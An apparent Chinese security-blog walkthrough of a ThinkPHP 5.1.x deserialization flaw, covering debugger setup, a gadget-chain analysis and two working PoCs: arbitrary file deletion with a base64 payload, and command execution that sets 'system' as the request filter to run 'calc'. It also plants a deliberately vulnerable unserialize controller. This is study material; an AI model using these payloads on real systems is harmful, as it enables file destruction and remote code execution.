thinkphp 反序列化漏洞

文章目录

  • 配置xdebug
  • 反序列化漏洞
    • 利用链
    • 详细分析
      • poc1(任意文件删除)
      • poc2(任意命令执行)
  • 补充代码

配置xdebug

php.ini

[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9000
xdebug.idekey = PHPSTORM

配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展

配置防调试超时

1.打开apache配置文件注释掉如下,并添加一行。

# Various default settings
Include conf/extra/httpd-default.conf 将注释去掉
Include conf/extra/httpd-fcgid.conf 添加此行

2. 更改httpd-default.conf如下内容
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 3600

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 0

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 3600

3.更改php.ini如下内容
max_execution_time = 3600
; Maximum amount of time each script may spend parsing request data. It's a good
; idea to limit this time on productions servers in order to eliminate unexpectedly
; long running scripts.

4.在extra目录下创建httpd-fcgid.conf,写入如下内容。
ProcessLifeTime 3600
FcgidIOTimeout 3600
FcgidConnectTimeout 3600
FcgidOutputBufferSize 128
FcgidMaxRequestsPerProcess 1000
FcgidMinProcessesPerClass 0 
FcgidMaxProcesses 16 
FcgidMaxRequestLen 268435456   
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
IPCConnectTimeout 3600
IPCCommTimeout 3600
FcgidIdleTimeout 3600
FcgidBusyTimeout 60000
FcgidBusyScanInterval 120
FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php7.3.4nts"
AddHandler fcgid-script .php

反序列化漏洞

测试版本5.1.37

适用版本5.1.16-5.1.40

利用链

think\process\pipes\Windows ⇒__destruct⇒removeFiles⇒file_exists⇒__toString
think\model\concern\Conversion⇒__toString⇒toJson⇒toArray
thinkphp\library\think\Request⇒__call⇒isAjax⇒parma⇒input⇒filterValue

详细分析

修改控制器

 
    namespace app\index\controller; 
	class Index { 
    public function index() { 
    unserialize(base64_decode($_GET['id'])); return "Welcome!"; 
    } 
}

查找入口__destruct,进入windows类

thinkphp 反序列化漏洞_第1张图片

    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

查看removeFiles方法

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

poc1(任意文件删除)


namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{
    private $files = ['D:\phpstudy_pro\WWW\v5.1.37\a.txt'];
    //这里一定要绝对路径
}
$a=new Windows();
echo base64_encode(serialize($a));

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjMzOiJEOlxwaHBzdHVkeV9wcm9cV1dXXHY1LjEuMzdcYS50eHQiO319

thinkphp 反序列化漏洞_第2张图片

查找__toString

removeFiles方法里面使用了file_exists($filename), $filename变量可控,传入一个对象则会调用对象的__toString方法将对象转换成字符串再判断, 查找可利用的toString,找到think\model\concern\Conversion类

    public function __toString()
    {
        return $this->toJson();
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
public function toArray()
    {
        $item       = [];
        $hasVisible = false;
...
if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);
                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }
...
                }

if里的relation不为空,进入第二个if后先跟进getAttr,又调用了getData(),getData(),这里 $this->data可控

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
...
    return $value;
public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];

自此,relation->visible($name) 变成了:可控类->visible(可控变量)

接下来的思路就是找 可利用的visible()方法 或者 可利用的 __call()

这里有一个细节,使用__call代替visible时,visible会作为KaTeX parse error: Expected group after '_' at position 9: method传入_̲_call方法,name则传入args

一般PHP中的__call方法都是用来进行容错或者是动态调用,所以一般会在__call方法中使用
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
但是 public function __call($method, $args) 我们只能控制 $args,所以很多类都不可以用
经过查找发现 think-5.1.37/thinkphp/library/think/Request.php 中的 __call使用array取值

thinkphp\library\think\Request

    public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }
        
//call_user_func_array([$obj,"任意方法"],[$this,任意参数])
//也就是
//$obj->$func($this,$argv)

这里的method是前面传递过来的visible,​this->hook可控,因此只需要设置this->hook=[“visible”=>”任意方法”]就能使这里的call_user_func_array(this->hook[method], args); 相当于call_user_func_array(‘任意方法’, args);

这里有个 array_unshift(args, ​this); 会把this放到​arg数组的第一个元素

开始寻找不受this对象影响的方法

这种情况是很难执行命令的,但是Thinkphp作为一个web框架, Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处) 所以可以尝试覆盖filter的方法去执行代码 寻找使用了过滤器的所有方法 发现input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        ...

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }
			//从数组$data中获取键为$name的value作为$data的新值,这个value必须是数组
            $data = $this->getData($data, $name);
						
            ...

            if (is_object($data)) {//$data不能是对象
                return $data;
            }
        }

        // 解析过滤器
	//getFilter方法里如果 $filter = false 则 $filter = $this->filter;因此$filter可控
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
						...
        } else {
            $this->filterValue($data, $name, $filter);
        }
				...

        return $data;
    }

继续查找调用input方法的的函数

param方法第一个参数可控,从这里入手

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        ...
    }

    if (true === $name) {
        ...
    }

    return $this->input($this->param, $name, $default, $filter);
}

function param($name = '', $default = null, $filter = '') 的回溯中发现 isAjax()isPjax()$this->config['var_ajax'] 是可控的,那么 input() 的第一个参数也是可控的,由于只给 input() 传了一个参数,其 $name 默认为空,调用链完成

  public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

poc2(任意命令执行)


namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["poc"=>[" "," "]];
        $this->data = ["poc"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $mergeParam=true;
    protected $param = [];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";//回调时调用的PHP函数
        $this->config = ["var_ajax"=>''];//在isAjax方法传递给param方法的$name绕过param方法的一些操作,但主要是为了绕过input方法里面对$data的改变
        $this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面调用isAjax
        $this->mergeParam=true;//绕过param方法里的一些操作
        $this->param=["calc",""];//input方法的$data,也是即将执行的命令
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

补充代码

__call( m e t h o d , method, method,arguments)


class Test
{
//    function __destruct(){
//        echo "coleak1";
//    }
    function  __call($method,$arguments)
    {
        echo "__call" .PHP_EOL. $method.PHP_EOL;
        print_r($arguments);
    }
}
$a=new Test();
$a->acdads('aaaaa');

__call
acdads
Array
(
[0] => aaaaa
)

array_unshift


$a=array("a"=>"red","b"=>"green");
array_unshift($a,"blue");
print_r($a);
?>

Array
(
[0] => blue
[a] => red
[b] => green
)

call_user_func_array


$a=['whoami','ipconfig'];
$b='system';
call_user_func_array($b,$a);

coleak\admin

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